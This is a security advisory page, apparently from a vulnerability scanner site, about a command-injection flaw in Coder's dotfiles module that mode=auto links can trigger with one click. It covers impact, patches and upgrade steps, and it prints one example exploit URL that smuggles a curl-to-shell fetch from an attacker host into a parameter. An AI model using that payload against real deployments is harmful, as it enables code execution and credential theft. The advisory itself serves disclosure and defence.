Skip to main content

CVE-2026-44454 — Vulnerability in github.com/coder/coder/v2

HIGH

Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent

Published July 2, 2026Updated July 7, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (2.64%). Schedule for your next planned update.

Does your project use an affected github.com/coder/coder/v2 version?

Paste your go.sum to check it for CVE-2026-44454 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my go.sum

Summary

Command injection via dotfiles URI parameter combined with workspace auto-creation

Summary

The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfiles_uri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfiles_uri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.

Details

Command injection in the dotfiles module (root cause)

The dotfiles module interpolated the user-provided dotfiles_uri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfiles_uri obtained arbitrary code execution in their workspace, even without mode=auto.

Auto-creation amplification (mode=auto)

The Create Workspace page supported a mode=auto query parameter that, combined with param.* URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfiles_uri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.

Example URL:

https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com

Impact

Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.

Patches

coder/registry (primary fix)

Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.

coder/coder (defense-in-depth)

A consent dialog was added that displays all prefilled param.* values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.

Recognition

We'd like to thank Aviv Donenfeld for responsibly disclosing this issue in accordance with https://coder.com/security/policy

Advisory Timeline

  • First published July 2, 2026 (147 days ago).
  • Last revised July 7, 2026 — 5 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/coder/coder/v2 to 2.30.2 or later
go get github.com/coder/coder/v2@v2.30.2
Go
Update github.com/coder/coder/v2 to 2.29.7 or later
go get github.com/coder/coder/v2@v2.29.7

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (3)

Affects 1 ecosystem: Go (2).

PackageFixed In
github.com/coder/coder/v2 Go · Affected: All versions2.30.2
github.com/coder/coder/v2 Go · Affected: All versions2.29.7
github.com/coder/coder Go · Affected: All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-78
    OS Command InjectionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-44454?
Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.1/10).
How do I check if my project is affected by CVE-2026-44454?
CVE-2026-44454 affects github.com/coder/coder/v2 and github.com/coder/coder. It has a 2.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44454 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.1

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
2.64%
EPSS percentile: 86.3

This places it in the top quartile of EPSS-scored vulnerabilities — 86.3% of tracked vulnerabilities score at or below it, so it is more likely to be exploited than most of the tracked corpus.

Also Known As

GHSA-m3cr-vc2j-pm27
GO-2026-5897

Related CVEs

  • CVE-2026-46354
    CRITICAL

    Coder: PKCS#7 signature bypass in Azure instance identity allows unauthenticated agent token theft

  • CVE-2026-108262
    HIGH

    DDEV incomplete tar symlink traversal fix allows host file overwrite - Incomplete fix of CVE-2026-32885

  • CVE-2026-55429
    HIGH

    Coder's workspace app upsert allows cross-workspace agent rebinding via user-controlled app ID

  • CVE-2026-130007
    HIGH

    k8s-mcp-server: Missing authentication on default SSE/HTTP transport allows unauthenticated Kubernetes tool execution

  • CVE-2026-55427
    HIGH

    Coder vulnerable to SSH config injection via unsanitized server-supplied values in `coder config-ssh`

  • CVE-2026-63443
    HIGH

    Coder's workspace agent API insecure redirect handling allowed cross-agent file read and write

  • CVE-2026-55431
    HIGH

    Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

  • CVE-2026-55428
    HIGH

    Coder: Route hijacking through lack of validation of agent-supplied AllowedIPs in tailnet coordinator

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my go.sum